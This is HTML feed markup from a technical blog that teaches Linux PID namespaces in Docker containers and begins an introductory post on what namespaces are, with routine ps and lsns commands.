data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f1846cf3-5010-45dd-8992-aa2f3f663403_1023x190.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:190,&quot;width&quot;:1023,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:33255,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff1846cf3-5010-45dd-8992-aa2f3f663403_1023x190.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!7FMY!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff1846cf3-5010-45dd-8992-aa2f3f663403_1023x190.png 424w, https://substackcdn.com/image/fetch/$s_!7FMY!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff1846cf3-5010-45dd-8992-aa2f3f663403_1023x190.png 848w, https://substackcdn.com/image/fetch/$s_!7FMY!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff1846cf3-5010-45dd-8992-aa2f3f663403_1023x190.png 1272w, https://substackcdn.com/image/fetch/$s_!7FMY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff1846cf3-5010-45dd-8992-aa2f3f663403_1023x190.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Here, the container has its own PID namespace, with <code>bash</code> as <strong>PID 1</strong> and <code>ps</code> as <strong>PID 133</strong>.</p><p>Even though these PIDs overlap with ones on the host, they&#8217;re completely separate within the container.</p><p>Let&#8217;s create a few background processes:</p><pre><code><code># sleep 5000 &amp;
# sleep 4000 &amp;
# ps aux</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ItZQ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bb4e492-214a-40b6-9caa-7248b981cd21_1023x356.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ItZQ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bb4e492-214a-40b6-9caa-7248b981cd21_1023x356.png 424w, https://substackcdn.com/image/fetch/$s_!ItZQ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bb4e492-214a-40b6-9caa-7248b981cd21_1023x356.png 848w, https://substackcdn.com/image/fetch/$s_!ItZQ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bb4e492-214a-40b6-9caa-7248b981cd21_1023x356.png 1272w, https://substackcdn.com/image/fetch/$s_!ItZQ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bb4e492-214a-40b6-9caa-7248b981cd21_1023x356.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ItZQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bb4e492-214a-40b6-9caa-7248b981cd21_1023x356.png" width="1023" height="356" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6bb4e492-214a-40b6-9caa-7248b981cd21_1023x356.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:356,&quot;width&quot;:1023,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:61225,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bb4e492-214a-40b6-9caa-7248b981cd21_1023x356.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ItZQ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bb4e492-214a-40b6-9caa-7248b981cd21_1023x356.png 424w, https://substackcdn.com/image/fetch/$s_!ItZQ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bb4e492-214a-40b6-9caa-7248b981cd21_1023x356.png 848w, https://substackcdn.com/image/fetch/$s_!ItZQ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bb4e492-214a-40b6-9caa-7248b981cd21_1023x356.png 1272w, https://substackcdn.com/image/fetch/$s_!ItZQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6bb4e492-214a-40b6-9caa-7248b981cd21_1023x356.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Now verify the namespace ID from inside the container:</p><pre><code><code>$ lsns -t pid</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!drIY!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6563c8fc-127b-4526-8856-3f8c6bd3b610_1023x190.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!drIY!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6563c8fc-127b-4526-8856-3f8c6bd3b610_1023x190.png 424w, https://substackcdn.com/image/fetch/$s_!drIY!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6563c8fc-127b-4526-8856-3f8c6bd3b610_1023x190.png 848w, https://substackcdn.com/image/fetch/$s_!drIY!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6563c8fc-127b-4526-8856-3f8c6bd3b610_1023x190.png 1272w, https://substackcdn.com/image/fetch/$s_!drIY!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6563c8fc-127b-4526-8856-3f8c6bd3b610_1023x190.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!drIY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6563c8fc-127b-4526-8856-3f8c6bd3b610_1023x190.png" width="1023" height="190" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6563c8fc-127b-4526-8856-3f8c6bd3b610_1023x190.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:190,&quot;width&quot;:1023,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:25199,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6563c8fc-127b-4526-8856-3f8c6bd3b610_1023x190.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!drIY!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6563c8fc-127b-4526-8856-3f8c6bd3b610_1023x190.png 424w, https://substackcdn.com/image/fetch/$s_!drIY!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6563c8fc-127b-4526-8856-3f8c6bd3b610_1023x190.png 848w, https://substackcdn.com/image/fetch/$s_!drIY!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6563c8fc-127b-4526-8856-3f8c6bd3b610_1023x190.png 1272w, https://substackcdn.com/image/fetch/$s_!drIY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6563c8fc-127b-4526-8856-3f8c6bd3b610_1023x190.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Docker has automatically created a new PID namespace (4026532196) for this container.</p><p>Let&#8217;s confirm that from another terminal by running:</p><pre><code><code>$ sudo ps -eo pid,pidns,cmd | grep 4026532196</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!YmFj!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bb26a57-8d85-4a7d-8ccc-5fda6d946d7e_1023x213.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!YmFj!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bb26a57-8d85-4a7d-8ccc-5fda6d946d7e_1023x213.png 424w, https://substackcdn.com/image/fetch/$s_!YmFj!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bb26a57-8d85-4a7d-8ccc-5fda6d946d7e_1023x213.png 848w, https://substackcdn.com/image/fetch/$s_!YmFj!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bb26a57-8d85-4a7d-8ccc-5fda6d946d7e_1023x213.png 1272w, https://substackcdn.com/image/fetch/$s_!YmFj!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bb26a57-8d85-4a7d-8ccc-5fda6d946d7e_1023x213.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!YmFj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bb26a57-8d85-4a7d-8ccc-5fda6d946d7e_1023x213.png" width="1023" height="213" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5bb26a57-8d85-4a7d-8ccc-5fda6d946d7e_1023x213.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:213,&quot;width&quot;:1023,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:45431,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bb26a57-8d85-4a7d-8ccc-5fda6d946d7e_1023x213.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!YmFj!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bb26a57-8d85-4a7d-8ccc-5fda6d946d7e_1023x213.png 424w, https://substackcdn.com/image/fetch/$s_!YmFj!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bb26a57-8d85-4a7d-8ccc-5fda6d946d7e_1023x213.png 848w, https://substackcdn.com/image/fetch/$s_!YmFj!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bb26a57-8d85-4a7d-8ccc-5fda6d946d7e_1023x213.png 1272w, https://substackcdn.com/image/fetch/$s_!YmFj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bb26a57-8d85-4a7d-8ccc-5fda6d946d7e_1023x213.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>As you can see, the host can view all processes running inside the container, because the root namespace can always see into its children.</p><p>To confirm, list all PID namespaces again:</p><pre><code><code>$ sudo lsns -t pid</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ZVUH!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1b259f23-868b-42be-a794-094eef33f73f_1023x213.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ZVUH!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1b259f23-868b-42be-a794-094eef33f73f_1023x213.png 424w, https://substackcdn.com/image/fetch/$s_!ZVUH!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1b259f23-868b-42be-a794-094eef33f73f_1023x213.png 848w, https://substackcdn.com/image/fetch/$s_!ZVUH!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1b259f23-868b-42be-a794-094eef33f73f_1023x213.png 1272w, https://substackcdn.com/image/fetch/$s_!ZVUH!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1b259f23-868b-42be-a794-094eef33f73f_1023x213.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ZVUH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1b259f23-868b-42be-a794-094eef33f73f_1023x213.png" width="1023" height="213" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1b259f23-868b-42be-a794-094eef33f73f_1023x213.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:213,&quot;width&quot;:1023,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:32116,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1b259f23-868b-42be-a794-094eef33f73f_1023x213.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ZVUH!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1b259f23-868b-42be-a794-094eef33f73f_1023x213.png 424w, https://substackcdn.com/image/fetch/$s_!ZVUH!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1b259f23-868b-42be-a794-094eef33f73f_1023x213.png 848w, https://substackcdn.com/image/fetch/$s_!ZVUH!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1b259f23-868b-42be-a794-094eef33f73f_1023x213.png 1272w, https://substackcdn.com/image/fetch/$s_!ZVUH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1b259f23-868b-42be-a794-094eef33f73f_1023x213.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>The host namespace (<code>4026531836</code>) and the container&#8217;s namespace (<code>4026532196</code>) coexist, the container simply lives inside its own isolated process world.</p><p>Containers are, in the end, just Linux processes running inside their own set of namespaces, PID, mount, network, user, and others.</p><p>They&#8217;re not special or separate from the host kernel, they simply have their own <em>views</em> of system resources.</p><p>And that&#8217;s exactly what we&#8217;ll explore in the <strong>next part</strong> of this series.</p><h2>Looking Ahead</h2><p>In this part, we explored how <strong>PID namespaces</strong> isolate process IDs, creating separate &#8220;worlds&#8221; where each namespace has its own process tree and its own PID 1.</p><p>You&#8217;ve seen how this mechanism forms the foundation of process isolation in containers, and how tools like <code>unshare</code> and <code>nsenter</code> give you direct control and visibility into that hierarchy.</p><p>In the next part of this series, we&#8217;ll take a closer look at how <strong>containers are actually just Linux processes</strong>, and use real examples to see how the host perceives and manages them.</p><div><hr></div><h2><strong>Thanks for reading!</strong></h2><p>If you enjoyed this content, don&#8217;t forget to leave a comment, like &#10084;&#65039; and subscribe to get more posts like this every week.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.sysxplore.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://blog.sysxplore.com/subscribe?"><span>Subscribe now</span></a></p>]]></content:encoded></item><item><title><![CDATA[Part 1: What Are Linux Namespaces]]></title><description><![CDATA[On a normal Linux system, everything seems to live in one big shared space.]]></description><link>https://blog.sysxplore.com/p/part-1-what-are-linux-namespaces</link><guid isPermaLink="false">https://blog.sysxplore.com/p/part-1-what-are-linux-namespaces</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Wed, 29 Oct 2025 18:38:27 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/10935fd9-78e8-453d-b9db-c149491b33ed_876x626.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>On a normal Linux system, everything seems to live in one big shared space.</p><p>Every process can see the same list of running programs, share the same network interfaces, and access the same filesystem hierarchy. If you open two terminals and run <code>ps aux</code>, both will display an identical process list because, at the kernel level, there&#8217;s only one global view of what&#8217;s happening.</p><p>But imagine you could split this system into several small &#8220;worlds,&#8221; each with its own view of processes, network, and files. In one world, a process might think it&#8217;s the only program running on the machine. In another, the hostname might be entirely different. Yet all of these worlds still share the same underlying kernel.</p><p>That&#8217;s exactly what Linux namespaces make possible.</p><p>Namespaces provide isolation at the <strong>process level</strong>, letting you control <strong>what</strong> a process can see or interact with in the system. Instead of creating an entirely separate virtual machine, the kernel simply gives processes their own private views of certain resources, like their own network stack, their own list of running processes, or even their own filesystem mounts.</p><p>This idea of controlled isolation forms the backbone of modern container technologies. When you start a Docker container, for example, you&#8217;re not creating a new operating system. You&#8217;re launching one or more regular Linux processes, but each of them runs inside a collection of namespaces that hide parts of the system from view.</p><p>This series will break down Linux namespaces and show how each one isolates a specific part of the system.</p><p>Along the way, you&#8217;ll see how these namespaces come together to form the foundation of modern container technology.</p><p>Each part will focus on a different namespace type , explaining how it works, how to experiment with it using standard Linux tools, and how those same mechanisms are used by containers behind the scenes.</p><p>In this first article, we&#8217;ll start with the basics: understanding what namespaces are, why they exist, and how to view them on a running system.</p><h2>The Idea of Isolation in Linux</h2><p>Linux was designed as a multi-user operating system. This means many users can run programs at the same time, often competing for the same resources, CPU, memory, files, and devices. While permissions control <strong>who</strong> can access something, they don&#8217;t always control <strong>how much</strong> or <strong>how isolated</strong> that access should be.</p><p>For example, every process on a system can normally see all other processes:</p><pre><code>$ ps aux</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!NGJ1!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda4d9e1c-3d67-4c34-a154-495116e75ebe_938x671.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!NGJ1!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda4d9e1c-3d67-4c34-a154-495116e75ebe_938x671.png 424w, https://substackcdn.com/image/fetch/$s_!NGJ1!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda4d9e1c-3d67-4c34-a154-495116e75ebe_938x671.png 848w, https://substackcdn.com/image/fetch/$s_!NGJ1!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda4d9e1c-3d67-4c34-a154-495116e75ebe_938x671.png 1272w, https://substackcdn.com/image/fetch/$s_!NGJ1!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda4d9e1c-3d67-4c34-a154-495116e75ebe_938x671.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!NGJ1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda4d9e1c-3d67-4c34-a154-495116e75ebe_938x671.png" width="938" height="671" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/da4d9e1c-3d67-4c34-a154-495116e75ebe_938x671.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:671,&quot;width&quot;:938,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:159285,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177492916?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda4d9e1c-3d67-4c34-a154-495116e75ebe_938x671.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!NGJ1!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda4d9e1c-3d67-4c34-a154-495116e75ebe_938x671.png 424w, https://substackcdn.com/image/fetch/$s_!NGJ1!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda4d9e1c-3d67-4c34-a154-495116e75ebe_938x671.png 848w, https://substackcdn.com/image/fetch/$s_!NGJ1!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda4d9e1c-3d67-4c34-a154-495116e75ebe_938x671.png 1272w, https://substackcdn.com/image/fetch/$s_!NGJ1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda4d9e1c-3d67-4c34-a154-495116e75ebe_938x671.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>If one process crashes or consumes too much memory, it could affect the rest of the system. That&#8217;s where <strong>isolation</strong> comes in, limiting what each process can see or influence.</p><p>Before namespaces existed, administrators used tools like <code>chroot</code> to isolate filesystems or <code>ulimit</code> to restrict resources. These were helpful, but they only covered specific aspects of isolation. Namespaces took the idea much further by letting the kernel isolate <strong>different kinds</strong> of system resources, not just files.</p><p>You can think of namespaces as a set of invisible containers around system resources. Each container defines what a process can &#8220;see&#8221;, whether that&#8217;s a process list, a network interface, or even the system clock.</p><p>This approach differs from virtualization. Virtual machines emulate an entire hardware environment and run their own kernel, while namespaces isolate resources <strong>within</strong> the same kernel. As a result, namespaces are lightweight and efficient, making them ideal for building container-like environments.</p><div><hr></div><p>Sysxplore is an indie, reader-supported publication.<br>I break down complex technical concepts in a straightforward way, making them easy to grasp. A lot of research goes into every piece to ensure the information you read is as accurate and practical as 